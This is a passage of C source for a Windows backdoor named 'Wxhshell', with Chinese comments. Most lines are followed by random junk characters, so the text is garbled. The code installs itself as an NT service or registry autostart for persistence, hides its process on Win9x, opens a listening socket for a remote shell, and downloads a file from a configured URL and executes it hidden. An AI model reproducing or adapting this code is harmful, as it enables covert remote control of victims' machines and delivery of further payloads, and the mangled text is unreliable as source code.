DWORD AffinityMask; gK"E4{y_@
DWORD BasePriority; JNgl
ULONG UniqueProcessId; rXg#_c5j
ULONG InheritedFromUniqueProcessId; b+ v!3|
} PROCESS_BASIC_INFORMATION; J*'#!
xIa
"( P-VX
PROCNTQSIP NtQueryInformationProcess; D4CiB"g3*
x4bj?=+
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7<3eB)S
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; UZRCJ
C{Er%
HANDLE hProcess; O'<cEv'B*
PROCESS_BASIC_INFORMATION pbi; g_t1(g*s
SAw. 6<Wy-
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); l?LP:;S
if(NULL == hInst ) return 0; Lr`G. e
B[6y2+6$0
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Rd{#cW~
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ZU-vZD>
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); N| L Ey
mg7Q~SLL{
if (!NtQueryInformationProcess) return 0; Hb{G
RG70
4XL]~3 c
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )'gO?cN
if(!hProcess) return 0; "~zQN(sR"P
bMpCQ
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; J+6bp0RIh
%o9;jX
CloseHandle(hProcess); 34\:1z+s M
u|a+:r)*4
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]@MBE1M
if(hProcess==NULL) return 0; C 9:5c@G
e^ygQ<6%
HMODULE hMod; s9-aPcA
char procName[255]; ;F!wyTF>}
unsigned long cbNeeded; 4TW>BA
AmmUoS\
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); g` QbJ61a
]ZOzqh_0C
CloseHandle(hProcess); OCVF+D :
E
_DSf
if(strstr(procName,"services")) return 1; // 以服务启动 SecZ5(+=
zS##YR
return 0; // 注册表启动 +WP
} 4-: TQp(
QjlwT 2o'
// 主模块 }6V` U9^g
int StartWxhshell(LPSTR lpCmdLine) 3bp'UEF^k
{ oAgO3x
SOCKET wsl; f}1R,N_fC
BOOL val=TRUE;
h (`Erb
int port=0; pK~K>8\
struct sockaddr_in door; |P"p/iY
z"C+r'39d=
if(wscfg.ws_autoins) Install(); S4?N_"m9
i;
3^vhbQ
port=atoi(lpCmdLine); ua]>0\D
!wtt KUO?
if(port<=0) port=wscfg.ws_port; ;w_f ^R #
eQUm!9)
WSADATA data; *[eh0$
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _XqD3?yH4
)Ekp <2B:0
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; AW+q#Is
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +EWfsKz
door.sin_family = AF_INET; aT %A<'O!
door.sin_addr.s_addr = inet_addr("127.0.0.1"); loLN
~6
door.sin_port = htons(port); L[Dr[
FM3DJ?\L-
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { J c~{ E
closesocket(wsl); W1
qE,%cx
return 1; jHxg(]
} KF"&9nB
>6(91J
if(listen(wsl,2) == INVALID_SOCKET) { P7Ws$7x
closesocket(wsl); fQ^45ulz
return 1; k2xOu9ncEj
} 8W|qm;J98
Wxhshell(wsl); |lijnfp
WSACleanup(); 6-@
X
Y!6,ty'
return 0; ]~SOGAFW
JPX5Jm()
} 'o#ve72z1
D#T1~r4
// 以NT服务方式启动 P2S$Dk_<\X
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) av&4:O!
{ nSL
x1Q
DWORD status = 0; 4$=Dq$4z
DWORD specificError = 0xfffffff; wh\J)pA1
$~V,.RD
serviceStatus.dwServiceType = SERVICE_WIN32; ' ju{j`b
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 0!c^pOq6
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; P-?ya!@"
serviceStatus.dwWin32ExitCode = 0; y/ #{pyJ
serviceStatus.dwServiceSpecificExitCode = 0; J0e~s
serviceStatus.dwCheckPoint = 0; RfMrGC^?
serviceStatus.dwWaitHint = 0; qd9CKd
mE"?{~XVL
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (YbRYu
if (hServiceStatusHandle==0) return; d5zF9;[
:h>d'+\
status = GetLastError(); 4&Uq\,nx
if (status!=NO_ERROR) AiT&:'<UT
{ tkFGGc}w\
serviceStatus.dwCurrentState = SERVICE_STOPPED; wsyG~^>
serviceStatus.dwCheckPoint = 0; e>Vr#a4
serviceStatus.dwWaitHint = 0; 2[W1EQI
serviceStatus.dwWin32ExitCode = status; 5y. n
serviceStatus.dwServiceSpecificExitCode = specificError; S?W!bkfn
SetServiceStatus(hServiceStatusHandle, &serviceStatus); G &'eP
return; KrhAObK
} S+Aq0B<
o5(p&:1M
serviceStatus.dwCurrentState = SERVICE_RUNNING; 8:%=@p>$
serviceStatus.dwCheckPoint = 0; ?qeBgkL(B^
serviceStatus.dwWaitHint = 0; Md9b_&'
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); smpz/1U
} :HrD[KT
+UxhSFU
// 处理NT服务事件,比如:启动、停止 l:O6`2Z
VOID WINAPI NTServiceHandler(DWORD fdwControl) 17Q1Xa
{ :>U2yI
switch(fdwControl) %z6.}4h
{ '1lr "}"Q+
case SERVICE_CONTROL_STOP: 5} 9}4e
serviceStatus.dwWin32ExitCode = 0; L~yu
serviceStatus.dwCurrentState = SERVICE_STOPPED; G:f\wK[
serviceStatus.dwCheckPoint = 0; "#H@d+u
serviceStatus.dwWaitHint = 0; J`T1 88
{ (~~*PT-
SetServiceStatus(hServiceStatusHandle, &serviceStatus); =X(8[ e
}
=v4;t'_^
return; qW57h8M
case SERVICE_CONTROL_PAUSE: mJ=3faM
serviceStatus.dwCurrentState = SERVICE_PAUSED; yv:8=.r}M
break; <MhjvHg
case SERVICE_CONTROL_CONTINUE: !c`KzqP
serviceStatus.dwCurrentState = SERVICE_RUNNING; x/NR_~Rnk
break; >^#OtFHuT)
case SERVICE_CONTROL_INTERROGATE: TO.71x|
break; H+:SL $+<o
}; pu(a&0
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 03ol!|X"9
} as1ZLfN.
(nk)'ur.
// 标准应用程序主函数 D|W^PR:@h
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [C
PgfVz
{ H[ 6L!
tn-_3C
// 获取操作系统版本 m_Owe/BC#m
OsIsNt=GetOsVer(); IL?mt2I Q>
GetModuleFileName(NULL,ExeFile,MAX_PATH); L lmdydC%
gU7@}P
// 从命令行安装 ^goa$uxU
if(strpbrk(lpCmdLine,"iI")) Install(); 4Gl0h'!(
EG<YxNX,
// 下载执行文件 j rX.e
if(wscfg.ws_downexe) { MP|J 0=H5
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (9_~R^='y
WinExec(wscfg.ws_filenam,SW_HIDE); &uwj&-u?
} ~f&lQN'1
OI3UC=G
if(!OsIsNt) { L&wJ-}'l
// 如果时win9x,隐藏进程并且设置为注册表启动 gA)!1V+:
HideProc(); d\Xi1&&
StartWxhshell(lpCmdLine); rlEp&"+|M
} " gB.
else ?@U7tNI
if(StartFromService()) 1Ih.?7}
// 以服务方式启动 I\JJ7/S`t
StartServiceCtrlDispatcher(DispatchTable); 5!2^|y4r
else *Mf;
// 普通方式启动 oVPtA@
StartWxhshell(lpCmdLine); <eU28M?\
FNpMu3Q
return 0; GE`:bC3
}